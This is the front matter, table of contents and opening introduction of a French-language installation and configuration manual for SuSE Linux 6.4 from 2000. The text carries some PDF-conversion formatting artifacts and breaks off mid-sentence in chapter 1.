Bodo Bauer, Rüdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jürgen Geck, Rolf Haberrecker, Marc Heuse, Carsten Höger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rührschneck, Martin Scherbaum, Adrian Schröter, Burchard Steinbild, Gabriele Strattner, Jörg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz SuSE Linux 6.4 Installation, configuration : : : et premiers pas SuSE GmbH Schanzäckerstr. 10 D-90443 Nürnberg Tel. : +49 911 / 7 40 53 31 (Vente seulement ~ pour l'Assistance Technique voir page 561) Fax. : +49 911 / 7 41 77 55 (Vente) E-mail : suse@suse.de WWW : http://www.suse.de Bodo Bauer, Rüdiger Berlich, Daniel Bischof, Michael Burghart, Roland Dyroff, Christian Egle, Karl Eichwalder, Stefan Fent, Werner Fink, Klaus Franken, Fritz Ganter, Jürgen Geck, Rolf Haberrecker, Marc Heuse, Carsten Höger, Dirk Hohndel, Richard Jelinek, Florian La Roche, Volker Lendecke, Hans Lermen, Hubert Mantel, Arndt Mehlhorn, Jay Migliaccio, Jordi Jaen Pallares, Christoph-Erdmann Pfeiler, Peter Reinhart, Marc Rührschneck, Martin Scherbaum, Adrian Schröter, Burchard Steinbild, Gabriele Strattner, Jörg Strebel, Steve Tomlin, Klaus G. Wagner, Thorsten Wandersmann, Udo Weber, Michael Weyrauch, Stefan Wintermeyer, Christian Zoz Installation, configuration et premiers pas avec SuSE Linux 6.4 17ème édition actualisée 2000 SuSE GmbH ISBN 3-934678-06-8 (Ensemble du paquet) Copyright Cet ouvrage est la propriété intellectuelle de SuSE GmbH. Il peut être copié en totalité ou en partie à condition que cette mention de copyright figure sur chaque copie Traduit de l'allemand par Françoise Lermen Typographie :ALTE X La maquette de la couverture a été réalisée avec une illustration de Stephan Endraß. Linux est une marque déposée de Linus Torvalds. XFree86 TM est une marque déposée de The XFree86 Project, Inc.. MS-DOS, Windows, Windows 95, Windows 98 et Windows NT sont des marques déposées de la Microsoft Corporation. UNIX est une marque déposée de X/Open Company Limited. Autres marques déposées et enregistrées : Clipper de Computer Associates, dBASE de Borland, Foxbase de Microsoft, Compuserve, T-Online et Deutsche Telekom, SuSE et YaST de SuSE GmbH . Tous les noms de marques sont cités sans aucune garantie que le produit soit librement utilisable et peuvent parfaitement être des marques déposées. La société SuSE GmbH adopte l'orthographe utilisée par les fabricants. D'autres produits mentionnés ici peuvent être des marques déposées du fabricant respectif. ISBN 3-934678-06-8 (Ensemble du paquet) Table des matières I Introduction 1 1 Introduction 3 1.1 Qu'est-ce que ``Linux'' ? . . . . . . 4 1.2 But de ce manuel ~ Conseils pour l'utilisation . . 5 1.3 Légende - ou que signifie ``terre: # ls'' . . 6 1.4 La lutte avec le nombre de pages : : : . . . . 7 1.4.1 Base de données support . . . . . 7 1.4.2 Aide hypertexte . . . . . . 8 1.4.3 Texinfo et Info . . . . . . 9 1.4.4 Manuels Unix (``pages de man'') . . . 9 1.4.5 Fichiers FAQ, HowTo et README . . . 9 1.4.6 Livres diffusés librement . . . . . 10 1.5 Éloges . . . . . . . . . 10 II Installer SuSE Linux 13 2 Première installation de SuSE Linux 15 2.1 La voie la plus rapide vers le succès . . . . 15 2.1.1 Petit plan préliminaire . . . . . 15 2.1.2 Maintenant tout commence : L'écran d'accueil . 16 2.1.3 YaST2 fait son apparition ! . . . . 18 2.1.4 Sélection de la langue . . . . . 18 2.1.5 Choix de la souris . . . . . . 19 2.1.6 Détermination du lieu : Clavier et zone horaire 19 2.1.7 Nouvelle installation ou mise à jour ? . . 19 2.1.8 Préparer le disque dur . . . . . 20 2.1.9 Sélection de logiciels . . . . . 21 * * i Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ 2.1.10 LILO ~ Gestionnaire d'amorçage pour le démarrage du système . . . . . . . * *23 2.1.11 Informations sur l'utilisateur . . . . 24 2.1.12 Déterminer le mot de passe `root' . . . 24 2.1.13 Confirmer les configurations ~ démarrer l'installa- tion . . . . . . . . * * 25 2.1.14 Préparer l'interface graphique . . . . 26 2.1.15 Configurer les composants du système . . 26 2.1.16 Première connexion . . . . . 27 2.1.17 Tour d'horizon et travail sur le système . . 27 2.2 Installation en mode texte avec YaST 1 . . . 28 2.2.1 Situation de départ . . . . . . 28 2.2.2 Maintenant tout commence : L'écran d'accueil . 28 2.2.3 La base de votre installation : linuxrc . . 29 2.2.4 Démarrage de YaST . . . . . 33 2.2.5 Partitionner et formater le disque dur . . 34 2.2.6 Commencer l'installation des logiciels . . 35 2.2.7 Sélectionnez votre équipement logiciel de base 36 2.2.8 Installation de logiciels système et de programmes 37 2.2.9 Sélectionner le noyau pour le système . . 38 2.2.10 Configuration de base du système avec YaST . 39 2.2.11 Se connecter après la première installation . 43 2.3 Comment démarrer SuSE Linux à l'avenir ? . . . 44 2.4 Installation sans lecteur de CD-ROM supporté . . 46 2.4.1 Installation à partir d'une partition DOS . . 46 2.4.2 Installation à partir d'une source ``réseau'' . 48 2.5 Encore une méthode d'installation : Setup et loadlin . 50 2.5.1 Mettre Windows 95/98 en mode DOS . . 50 2.5.2 Lancement de Setup et première partie de Setup 50 2.5.3 Comment amorcer le Linux initial à partir de setup ? 51 2.5.4 Installer loadlin et lancer le Linux initial . . 52 2.6 Blocs Info . . . . . . . . . * * 54 2.6.1 Faire de la place pour Linux (partitionner) . 54 2.6.2 Utiliser le CD 2 pour l'amorçage . . . 56 2.6.3 Créer des disquettes d'amorçage . . . 57 2.6.4 Créer des disquettes d'amorçage avec Unix . 58 2.6.5 Linux supporte-il mon lecteur de CD-ROM ? . 59 2.7 Descriptions de problèmes . . . . . . 59 2.7.1 Impossible de déplacer des fichiers . . . 59 2.7.2 Pas de clavier français en mode MS-DOS . 60 ii _______________________________________________________________________________________________________Table_des_matières___* *______________________ 2.7.3 Pas de pilote de CD-ROM en mode MS-DOS . 60 2.7.4 le CD est défectueux . . . . . 60 2.7.5 Le CD-ROM ATAPI se bloque à la lecture . 60 2.7.6 Lecteurs de CD-ROM sur port parallèle . . 62 2.7.7 Lecteurs de CD-ROM ``propriétaires'' . . 62 2.7.8 Thinkpad ``s'endort'' pendant l'installation . 62 2.7.9 loadlin n'a pas suffisamment de mémoire pour char- ger le noyau . . . . . . . 63 2.7.10 loadlin ne fonctionne pas . . . . . 63 2.7.11 DOS tourne en mode protégé . . . . 63 2.7.12 Dénomination du lecteur de CD-ROM . . 64 2.7.13 Problèmes d'ordre général avec le matériel . 64 2.8 Partitionnement pour débutants . . . . . 67 2.9 Partitionnement avancé . . . . . . 68 2.9.1 Taille de la partition de swap . . . . 70 2.9.2 Possibilités de fonction de la machine . . 70 2.9.3 Possibilités d'optimisation . . . . 72 2.10 Configuration manuelle du disque dur . . . . 75 2.10.1 Configurer les partitions . . . . . 75 2.10.2 Déterminer les systèmes de fichiers et les ``points de montage'' . . . . . . . 77 3 YaST ~ Yet another Setup Tool 81 3.1 Utilisation de YaST et disposition du clavier . . 81 3.2 Le menu principal de YaST . . . . . . 82 3.3 Configurations pour l'installation . . . . 82 3.3.1 Déterminer la langue . . . . . 83 3.3.2 Sélectionner la disposition du clavier . . 83 3.3.3 Sélectionner le support d'installation . . 83 3.3.4 Installation à partir du CD-ROM . . . 84 3.3.5 Installation à partir d'une partition du disque dur 84 3.3.6 Installation via NFS . . . . . 85 3.3.7 Installation à partir d'un répertoire accessible . 86 3.3.8 Installation via FTP . . . . . . 87 3.3.9 Partitionner le(s) disque(s) dur(s) . . . 88 3.3.10 Spécifier les partitions cibles ou les systèmes de fi- chiers . . . . . . . . 89 3.3.11 Configurer le Logical Volume Manager . . 93 3.3.12 Installation dans un répertoire . . . . 93 3.4 Déterminer la taille de l'installation . . . . 94 * * iii Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ 3.4.1 Charger la configuration . . . . . 94 3.4.2 Enregistrer la configuration . . . . 95 3.4.3 Modifier la configuration . . . . . 95 3.4.4 Que se passerait-il si... . . . . . 97 3.4.5 Démarrer l'installation . . . . . 97 3.4.6 Vérifier les dépendances des paquetages . . 98 3.4.7 Index de toutes les séries et de tous les paquetages 98 3.4.8 Information sur les paquetages . . . 98 3.4.9 Inclure des paquetages . . . . . 98 3.4.10 Effacer des paquetages . . . . . 100 3.5 Mise à jour du système . . . . . . 100 3.6 Administration du système . . . . . . 100 3.6.1 Intégrer le matériel dans le système . . . 100 3.6.2 Configuration du noyau et de l'amorçage . . 103 3.6.3 Configuration réseau . . . . . 106 3.6.4 Configurer le système live . . . . 108 3.6.5 Configuration du login . . . . . 109 3.6.6 Configuration susewm . . . . . 110 3.6.7 Gestion utilisateurs . . . . . . 111 3.6.8 Gestion de groupes . . . . . . 112 3.6.9 Créer des sauvegardes . . . . . 113 3.6.10 Configuration sécurité du système . . . 114 3.6.11 Configurer XFree86[tm] . . . . . 114 3.6.12 Modifier le fichier de configuration . . . 114 4 Amorçage et gestionnaires d'amorçage 117 4.1 Procédure d'amorçage sur PC . . . . . 117 4.2 Concepts d'amorçage . . . . . . . 119 4.3 LILO se présente : Vue d'ensemble . . . . 120 4.4 Un LILO sur mesure : Configuration . . . . 123 4.4.1 Structure du fichier lilo.conf . . . 124 4.4.2 Autres possibilités optionnelles de configuration 127 4.5 Installation et désinstallation de LILO . . . . 130 4.6 Générer une disquette d'amorçage Linux . . . 132 4.7 Exemples de configurations . . . . . . 134 4.7.1 DOS/Windows 95/98 et Linux . . . . 134 4.7.2 Windows NT et Linux sur un disque dur . . 135 4.7.3 OS/2 et Linux . . . . . . . 136 4.7.4 DOS, OS/2 et Linux . . . . . 137 4.8 Problèmes avec LILO . . . . . . . 137 iv _______________________________________________________________________________________________________Table_des_matières___* *______________________ 4.8.1 Diagnostic d'erreur : Message de démarrage de LILO . . . . . . . . 138 4.8.2 La limite des 1024 cylindres . . . . 139 4.8.3 Problèmes d'amorçage particuliers avec le noyau à partir de 2.0 . . . . . . . 141 4.9 Construire un mécanisme d'amorçage avec loadlin . 143 4.9.1 Fichiers indispensables pour loadlin . . 144 4.9.2 Création de menus de démarrage . . . 144 4.9.3 Démarrage à partir de Windows . . . 146 4.9.4 Le menu de démarrage Windows . . . 147 III Configuration du réseau 151 5 En réseau avec Linux 153 5.1 Configuration à l'aide de YaST . . . . . 156 5.2 Configuration manuelle du réseau ~ où trouver quoi ? . 158 5.2.1 Fichiers de configuration . . . . . 158 5.2.2 Scripts de démarrage . . . . . 163 5.3 Routage sous SuSE Linux . . . . . . 164 5.4 NIS, les pages jaunes du LAN . . . . . 165 5.4.1 Qu'est-ce que le NIS ? . . . . . 165 5.4.2 Installation d'un client NIS . . . . 165 5.4.3 Serveur maître et serveur esclave NIS . . 167 5.5 NFS ~ Systèmes de fichiers répartis . . . . 167 5.5.1 Importation des systèmes de fichiers . . 167 5.5.2 Exportation des systèmes de fichiers . . 167 6 Votre ouverture sur le monde ~ PPP, ISDN, Fax : : : 171 6.1 PPP . . . . . . . . . . 171 6.1.1 Conditions pour la mise en service de PPP . 172 6.1.2 Informations complémentaires sur PPP . . 172 6.2 Accès Internet par ISDN ~ Configuration . . . 173 6.2.1 Mise en service d'ISDN - Pas à pas . . . 173 6.2.2 Vue d'ensemble . . . . . . 175 6.2.3 Configuration du matériel ISDN . . . 175 6.2.4 Tester le fonctionnement de votre connexion ISDN sur le serveur SuSE . . . . . . 180 6.2.5 Mise en place d'une connexion Internet par ISDN 180 6.2.6 Messages ISDN . . . . . . 184 6.3 Modem câble . . . . . . . . 188 * * v Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ 6.3.1 Informations de base . . . . . 188 6.4 T-DSL, T-ISDN-DSL, ADSL : : : . . . . 189 6.5 Connexion par modem . . . . . . 190 6.6 Accès Internet par modem : PPP avec wvdial . . 190 6.6.1 Configuration de wvdial . . . . . 191 6.6.2 Plusieurs fournisseurs d'accès avec wvdial . 194 6.6.3 Adaptateurs de terminaux ISDN . . . 195 6.6.4 Configuration de modems PCI . . . . 196 6.6.5 Configuration manuelle de PPP pour experts . 197 6.7 Masquerading et Firewall ~ Amis et ``amis'' . . . 201 6.7.1 Principes du Masquerading . . . . 202 6.7.2 Principes du Firewall . . . . . 202 6.7.3 Configuration de Masquerading et/ou de Firewall 203 6.8 Donnez de vos nouvelles ~ Configuration de Sendmail 205 6.9 News : Les toutes dernières nouvelles de USENET . 208 6.9.1 Le système de news Leafnode . . . . 208 6.10 Linux et le fax . . . . . . . . 2* *10 6.10.1 SuSEFax ~ Un client pour HylaFAX . . 211 6.10.2 Création automatique de la page de garde . 220 6.10.3 Traitement différé des fax sous UNIX /Linux . 221 6.10.4 HylaFAX ~ Fax répartis . . . . . 221 7 Sur un rythme de Samba : : : 229 7.1 Introduction . . . . . . . . 2* *29 7.2 Installation du serveur . . . . . . . 231 7.3 Installation des clients . . . . . . . 234 7.4 Optimisation . . . . . . . . 235 IV Le système X Window 237 8 Le système X Window 239 8.1 Configuration avec SaX . . . . . . 240 8.1.1 Première installation . . . . . 240 8.1.2 Reconfiguration . . . . . . 248 8.1.3 Cas problématiques . . . . . . 249 8.1.4 Démarrage du système X Window . . . 249 8.1.5 Liste de contrôle pour l'installation de cartes gra- phiques . . . . . . . . * *250 8.2 Configuration avec xf86config . . . . . 251 8.3 Optimisation de l'installation du système X Window . 259 vi _______________________________________________________________________________________________________Table_des_matières___* *______________________ 9 Le gestionnaire de fenêtres ~ Votre ouverture sur l'ordinateur 265 9.1 Théorie de l'interface utilisateur graphique . . . 265 9.1.1 Structure du système X Window . . . 265 9.1.2 De quoi s'occupe un gestionnaire de fenêtres ? . 268 9.1.3 Démarrage de différents gestionnaires de fenêtres 269 9.2 L'environnement de bureau KDE . . . . 271 9.2.1 Généralités . . . . . . . 272 9.2.2 kdm ~ login graphique . . . . . 273 9.2.3 Que possède donc KDE de si sensationnel ? . 274 9.3 Fvwm . . . . . . . . . 277 9.4 Configuration de Fvwm . . . . . . 278 9.4.1 Auto-élévation . . . . . . 282 9.5 Configuration du gestionnaire de fenêtres avec SuSEwm 282 9.5.1 Ajouter des entrées au menu . . . . 283 9.6 Configuration générale du système X Window . . 286 V Matériel sous Linux 291 10 L'environnement matériel de l'ordinateur Linux 293 10.1 Remarque préliminaire . . . . . . 293 10.2 Cartes enfichables . . . . . . . 293 10.2.1 Cartes ISA et PCI . . . . . . 293 10.3 Cartes son . . . . . . . . . 296 10.3.1 OSS et versions de démonstration d'OSS . . 297 10.3.2 Comment configurer les cartes son sous Linux ? 297 10.4 Interfaces de la machine . . . . . . 306 10.4.1 Ports PS/2 . . . . . . . 306 10.4.2 Ports série . . . . . . . 306 10.4.3 Ports parallèles . . . . . . 307 10.4.4 USB ~ Universal Serial Bus . . . . 308 10.5 Supports amovibles . . . . . . . 309 10.5.1 Lecteurs de disquettes . . . . . 309 10.5.2 Lecteurs LS 120 . . . . . . 309 10.5.3 Lecteurs ZIP . . . . . . . 309 10.6 Modems . . . . . . . . . 310 10.6.1 Modems externes . . . . . . 310 10.6.2 Modems internes . . . . . . 310 10.7 Scanners . . . . . . . . . 312 10.8 Lecteurs de bandes (angl. streamers) . . . . 313 10.9 Cartes TV . . . . . . . . . 314 * * vii Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ 11 Notebooks ~ PCMCIA, APM, IrDA 317 11.1 PCMCIA . . . . . . . . . 317 11.1.1 Le matériel . . . . . . . 3* *17 11.1.2 Les logiciels . . . . . . . 3* *18 11.1.3 Configuration . . . . . . . 318 11.1.4 Configurations pour changer d'environnement ~ ~ les ``schemes'' . . . . . . . 3* *20 11.1.5 Si cela ne fonctionne quand même pas . . 323 11.1.6 Installation via PCMCIA . . . . . 326 11.1.7 Autres programmes utilitaires . . . . 326 11.2 APM ~ Gestion d'énergie . . . . . . 327 11.2.1 Principes de base . . . . . . 327 11.2.2 Le noyau adéquat . . . . . . 328 11.2.3 Le démon APM . . . . . . 328 11.2.4 Autres commandes . . . . . . 329 11.2.5 Une pause pour le disque dur . . . . 329 11.3 IrDA ~ Infrared Data Association . . . . 330 12 L'impression 333 12.1 Vue d'ensemble : Interfaces, files d'impression (spooling) 333 12.2 Files d'impression : fonctionnement et configuration . 335 12.3 Filtres d'impression ~ le filtre ``apsfilter'' . . . 339 12.4 Imprimantes réseau avec apsfilter . . . . 346 12.5 Quelques précisions au sujet de Ghostscript . . . 347 12.6 Liste des imprimantes supportées . . . . 349 12.7 Liste de contrôle pour l'impression : apsfilter . . 354 VI Le noyau et les paramètres du noyau 357 13 Le noyau 359 13.1 Les sources du noyau . . . . . . . 359 13.2 Modules du noyau . . . . . . . 360 13.3 Configuration du noyau . . . . . . 362 13.4 Paramètres de configuration du noyau . . . . 363 13.5 Compilation du noyau . . . . . . . 363 13.6 Installer le noyau . . . . . . . 364 13.7 Créer une disquette d'amorçage . . . . . 366 13.8 Faire le ménage sur le disque dur après la compilation du noyau . . . . . . . . . . * * 366 viii _______________________________________________________________________________________________________Table_des_matières___* *______________________ 14 Paramètres du noyau 367 14.1 Pilotes insérés dans le noyau . . . . . 367 14.2 Quelques astuces . . . . . . . 368 14.3 Les paramètres . . . . . . . . 369 14.3.1 Notation et signification . . . . . 369 14.3.2 Paramètres transmis au noyau à l'invite d'amorçage 370 14.3.3 Lecteurs de CD-ROM connectés à des contrôleurs propriétaires . . . . . . . 380 14.3.4 Paramètres modprobe . . . . . 383 VII SuSE Linux : Mise à jour et particularités 401 15 Mise à jour du système et gestion des paquetages 403 15.1 Mise à jour de SuSE Linux . . . . . . 403 15.1.1 Travaux préliminaires . . . . . 403 15.1.2 Mise à jour avec YaST2 . . . . . 404 15.1.3 Mise à jour avec YaST1 . . . . . 404 15.1.4 Actualisation des paquetages . . . . 406 15.2 D'une version à l'autre . . . . . . 407 15.2.1 De 4.x à 5.0 . . . . . . . 407 15.2.2 De 5.0 à 5.1 . . . . . . . 407 15.2.3 De 5.1 à 5.2 . . . . . . . 408 15.2.4 De 5.2 à 5.3 . . . . . . . 408 15.2.5 De 5.3 à 6.0 . . . . . . . 409 15.2.6 De 6.0 à 6.1 . . . . . . . 410 15.2.7 De 6.1 à 6.2 . . . . . . . 410 15.2.8 De 6.2 à 6.3 . . . . . . . 411 15.2.9 De 6.3 à 6.4 . . . . . . . 413 15.3 RPM ~ Le gestionnaire de paquetages de la distribution 415 15.3.1 Gérer les paquetages : Installer, mettre à jour et dés- installer . . . . . . . . 415 15.3.2 Faire des requêtes . . . . . . 417 15.3.3 Installer et compiler les paquetages sources . 419 15.3.4 Outils pour archives et base de données RPM . 420 16 Particularités sous SuSE Linux 423 16.1 Filesystem Hierarchy Standard (FHS) et Linux Standard Base (LSB) . . . . . . . . . 423 16.1.1 Environnements exemples pour FTP et HTTP . 423 16.1.2 teTeX ~ TEX sous SuSE Linux . . . 423 * * ix Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ 16.2 Amorçage avec le ``disque virtuel initial'' . . . 424 16.2.1 Concept du disque virtuel initial . . . 424 16.2.2 Déroulement du processus d'amorçage avec initrd 424 16.2.3 Gestionnaires d'amorçage . . . . 425 16.2.4 Utilisation d'initrd avec SuSE . . . 426 16.2.5 Difficultés éventuelles ~ Noyau compilé par l'utili- sateur . . . . . . . . * * 427 16.2.6 Perspectives . . . . . . . 428 16.3 linuxrc . . . . . . . . . * * 429 16.4 Le système d'aide pour SuSE Linux . . . . 435 16.4.1 Configuration pour système monoposte ou système serveur . . . . . . . . * * 436 16.4.2 Configuration pour une machine client . . 437 16.4.3 Utiliser le système d'aide . . . . 437 16.5 Le système de secours SuSE . . . . . 438 16.6 Informations sur les paquetages logiciels spéciaux . 442 16.6.1 paquetage cron . . . . . . 442 16.6.2 paquetage curses . . . . . . 442 16.6.3 Sources du paquetage uucp . . . . 443 16.6.4 Pages de man . . . . . . . 443 16.7 Disposition du clavier . . . . . . . 443 17 Le concept d'amorçage de SuSE Linux 445 17.1 Le programme init . . . . . . . 445 17.2 Les niveaux d'exécution . . . . . . 446 17.3 Changement de niveau d'exécution . . . . 447 17.4 Les scripts init . . . . . . . . * *448 17.5 /etc/rc.config et SuSEconfig . . . . 450 17.6 Les variables /etc/rc.config des Systems . . 451 VIII Sécurité et autres astuces 463 18 La sécurité est une question de confiance 465 18.1 Principes de base . . . . . . . 465 18.1.1 Sécurité locale . . . . . . 466 18.1.2 Sécurité réseau . . . . . . 470 18.2 Outils . . . . . . . . . . * * 471 18.2.1 Outils locaux . . . . . . . 472 18.2.2 Outils réseau . . . . . . . 475 18.3 Sécurité sous SuSE Linux . . . . . . 480 18.4 Informations d'ordre général . . . . . 480 x _______________________________________________________________________________________________________Table_des_matières___* *______________________ 19 Débuts sous Linux 481 19.1 Connexion au système, utilisateur `root', créer un compte utilisateur . . . . . . . . . 482 19.2 Arrêt du système et amorçage . . . . . 483 19.3 Commandes et lignes de commandes . . . . 483 19.4 Consoles virturelles . . . . . . . 485 19.5 Répertoires et noms de fichiers . . . . . 485 19.6 Travailler avec les répertoires . . . . . 486 19.7 Travailler avec les fichiers . . . . . . 486 19.7.1 Informations sur les fichiers . . . . 487 19.7.2 Wildcards ~ un petit coup d'oeil . . . 488 19.7.3 Contenu des fichiers . . . . . 489 19.7.4 Fichiers cachés . . . . . . 490 19.7.5 Copier, renommer et effacer des fichiers . . 490 19.7.6 Recherche et exploration de fichiers . . . 491 19.7.7 Liens symboliques . . . . . . 491 19.7.8 Archivage et sauvegarde de données . . 492 19.8 Droits d'accès aux fichiers . . . . . . 492 19.9 Pages de man . . . . . . . . 494 19.10 Informations sur l'état du système . . . . 496 19.10.1 La commande df . . . . . . 496 19.10.2 La commande free . . . . . 496 19.10.3 La commande ulimit . . . . . 496 19.10.4 La commande w . . . . . . 498 19.10.5 La commande du . . . . . . 498 19.10.6 La commande kill . . . . . 498 19.10.7 La commande ps . . . . . . 498 19.10.8 La commande pstree . . . . . 499 19.10.9 La commande top . . . . . . 499 19.11 Systèmes de fichiers sous Linux ~ mount et umount . 499 19.11.1 Vue d'ensemble . . . . . . 499 19.11.2 Montage et démontage de systèmes de fichiers . 500 19.12 Commandes DOS sous Unix avec mtools . . . 501 19.13 Vue d'ensemble des commandes Unix . . . . 503 19.14 Pour terminer . . . . . . . . 505 19.15 L'éditeur vi . . . . . . . . . 506 A Combinaisons de touches importantes 509 B Glossaire 511 * * xi Table des matières_________________________________________________________________________________________________________________* *_______________________________________@ C L'arborescence des répertoires 529 C.1 Aperçu . . . . . . . . . * * 529 C.2 Répertoires importants . . . . . . 530 D Fichiers importants 531 D.1 Fichiers de périphériques dans le répertoire /dev . . 531 D.1.1 Lecteurs de CD-ROM . . . . . 531 D.1.2 Lecteurs de bandes . . . . . . 532 D.1.3 Souris (Bus et PS/2) . . . . . 532 D.1.4 Modem . . . . . . . . 533 D.1.5 Interfaces série . . . . . . 533 D.1.6 Interfaces parallèles . . . . . 533 D.1.7 Périphériques spéciaux . . . . . 534 D.2 Fichiers de configuration dans /etc . . . . 534 D.3 Fichiers de configuration cachés dans le répertoire personnel (Home) . . . . . . . . . 5* *35 E Page de manuel de e2fsck 537 F La FAQ de SuSE Linux 541 G Licence Publique Générale GNU (GPL) 549 H Assistance Technique et services de SuSE GmbH 557 H.1 60 jours d'Assistance Technique à l'Installation . . 557 H.1.1 Sans enregistrement, pas d'Assistance Technique à l'Installation ! . . . . . . . * *557 H.1.2 Présentation de l'Assistance Technique à l'Installa- tion . . . . . . . . * * 558 H.2 Le chemin le plus court qui mène à l'aide ! . . . 559 H.2.1 Comment contacter l'équipe d'Assistance Tech- nique SuSE ? . . . . . . . * * 560 H.3 SuSE Service Pro . . . . . . . 5* *61 H.3.1 Projets individuels et consultation . . . 562 H.4 Formation . . . . . . . . . 5* *63 H.5 Vos réactions . . . . . . . . 5* *63 H.6 Autres services . . . . . . . . 563 xii Première partie Introduction 1 Chapitre 1 Introduction L'histoire de Linux ressemble à un conte moderne : En 1991, un étudiant finlandais en informatique, Linus Torvalds commence à programmer sa propre version Unix. Non seulement il publie des binaires, c'est-à-dire des programmes fonctionnels en langage machine mais il en diffuse aussi le code source sur Internet qui connaît une rapide expansion. Son invitation attire bientôt des centaines de programmeurs du monde entier qui se mettent à col- laborer ~ gratuitement et pendant leurs loisirs ~ au développement de Linux. Ils ne sont pas motivés par un intérêt d'ordre commercial mais par le plaisir de travailler, seuls ou en équipe, à résoudre les problèmes, à surmonter les difficultés, à ajouter de nouvelles fonctions et à perfectionner ainsi le système d'exploitation. Seule obligation : le travail réalisé ~ y compris le code source modifié ~ doit être mis à la disposition de la communauté des programmeurs. Les bases juridiques sont définies par la GNU General Public License (GPL) dont vous trouverez le texte à l'annexe G page 549. Qui choisit aujourd'hui Linux comme système d'exploitation a le plus sou- vent tout un tas de bonnes raisons : la stabilité et la performance sont invo- quées en premier lieu ; et aussi les fonctionnalités réseaux très étendues qui ont permis à Linux de conquérir Internet et de s'imposer sur le marché des ser- veurs. Les connaisseurs de Linux apprécient la disponibilité du code source dont découlent l'autonomie et la flexibilité du système. Grâce aux sources libres, l'utilisateur n'est plus à la merci d'un fabricant de logiciels mais peut lui-même personnaliser les programmes et leur apporter des extensions. En plus de tous ces arguments en faveur de Linux, c'est surtout la demande impressionnante et l'intérêt considérable de la part des utilisateurs qui ont incité de nombreux fabricants de matériel et de logiciels à apporter un ap- pui concret et actif à Linux. Siemens , IBM et Compaq ~ pour ne citer que quelques ``grands'' noms ~ ont découvert Linux comme système d'exploita- tion. Outre les innombrables programmes d'application gratuits, il existe de plus en plus de logiciels commerciaux pour Linux : Les constructeurs de bases de données tels que Oracle , Informix , Software AG et Sybase ainsi que les four- nisseurs de solutions bureautiques comme Applix , Corel ou Star Division proposent maintenant leurs produits pour Linux. Linux est un bon système, il s'améliore constamment et ne coûte rien ! Il suffit de voir l'enthousiasme qui règne au sein de la communauté Linux qui compte plus de dix millions * * 3 1. Introduction _________________________________________________________________________________________________________________* *_______________________________________@ d'utilisateurs et continue à s'accroître pour constater que Linux possède tous les atouts pour devenir un standard industriel. Mais ce n'est pas tout : Avec KDE et GNOME , il existe à présent deux interfaces graphiques confortables et librement disponibles qui répondent à la demande de plus en plus pressante des utilisateurs qui réclament ``Linux sur le bureau !''. 1.1 Qu'est-ce que ``Linux'' ? Il convient, lorsque l'on parle de ``Linux'', de définir d'abord ce que l'on entend par ce mot. Linux dans le sens strict du terme est le + noyau (angl. kernel) qui est le ``coeur'' de chaque système d'exploitation UNIX. Un noyau n'est cependant pas par lui-même un système d'exploitation. Il existe, précisément pour UNIX, une offre gigantesque de logiciels libres. De ce fait, pratiquement tous les utilitaires courants sous UNIX sont aussi dispo- nibles pour Linux. Ceux-ci constituent le système d'exploitation proprement dit. Dans la majorité des cas, il s'agit des versions + GNU de certains pro- grammes UNIX qui offrent même très souvent une plus grande fonctionnalité et dont la plus connue est le GNU C/C++ Compiler , l'un des meilleurs com- pilateurs qui existent. Il convient aussi de ne pas oublier les nombreux petits outils, et même ceux un peu plus grands, que l'on peut utiliser depuis la ligne de commande, dans des scripts shell ou comme programmes indépendants : à commencer par les utilitaires shell, fichiers et textes en passant par sed , awk et perl pour arriver aux éditeurs (vi ) ou aux environnements de travail complets (Emacs ). Tout ceci est complété par XFree86 TM (version actuelle 3.3.6), le système X Window (actuellement X11 Release 6.3) pour ordinateurs basés sur le système UNIX. Ce portage est dérivé de la distribution officielle X11R6.3 du X Consortium, Inc. et il est donc entièrement compatible avec ce standard. Tous ces composants, avec les programmes (par exemple TEX, le système de traitement de texte) et goodies supplémentaires (comme par exemple les jeux), constituent ce que l'on appelle communément Linux. Ainsi que nous l'avons déjà fait remarquer, il existe un réservoir pour ainsi dire inépuisable de logiciels libres, ce qui donne un nombre pratiquement infini de possibilités de construire un système Linux. C'est ici que les distributions Linux, telles que la présente distribution SuSE Linux, entrent en jeu. Les distributeurs examinent l'offre gigantesque de logi- ciels librement diffusables et font une sélection. Le résultat de cette sélection est actuellement , dans le cas de SuSE Linux, un ensemble d'environ 1000 pa- quetages logiciels qui sont, (le plus souvent) en raison de leur volume, fournis sur CD. ________________________________________________________________________________________________________* *________|| | Outre les logiciels libres - logiciels dont les sources sont disponibles et * * |||| | * * ||| | de ce fait inclus dans les présents CD-ROM, la distribution SuSE Li- * * ||| | nux contient aussi des paquetages logiciels qui, pour diverses raisons, ne * * ||| | * * ||| | peuvent être fournis par SuSE que sous forme compilée. * * ||| |_______________________________________________________________________________________________________* *________|||_ 4 ______________________________________________________1.2.__But_de_ce_manuel_~_Conseils_pour_l'utilisation__________________* *______________________ Par ailleurs, les distributions sont pour la plupart librement accessibles sur Internet, de sorte qu'une mise à jour occasionnelle du système n'implique pas obligatoirement l'achat d'une nouvelle distribution. 1.2 But de ce manuel ~ Conseils pour l'utilisation Nous avons explicitement conçu ce manuel comme une aide à l'installation. Mais il ne peut pas et ne doit pas se substituer à une documentation plus poussée qui pourra permettre à l'utilisateur intéressé de pénétrer plus pro- fondément dans le monde fascinant de l'informatique de haute performance. ~ Voir à ce sujet la bibliographie à la fin du présent manuel (chapitre 17.6 page 565) ! Pour une première installation, il suffit de lire le chapitre 2 page 15 qui se base sur la pratique. Un novice de Linux ne devrait en aucun cas partir à l'aventure sans aucune lecture préalable. Si vous voulez augmenter votre efficacité et vous épargnez des frustrations, prenez la peine de feuilleter auparavant le présent manuel : : : La dynamique de Linux et des logiciels librement diffusables rend difficile l'élaboration d'une documentation d'accompagnement qui tienne compte des tout 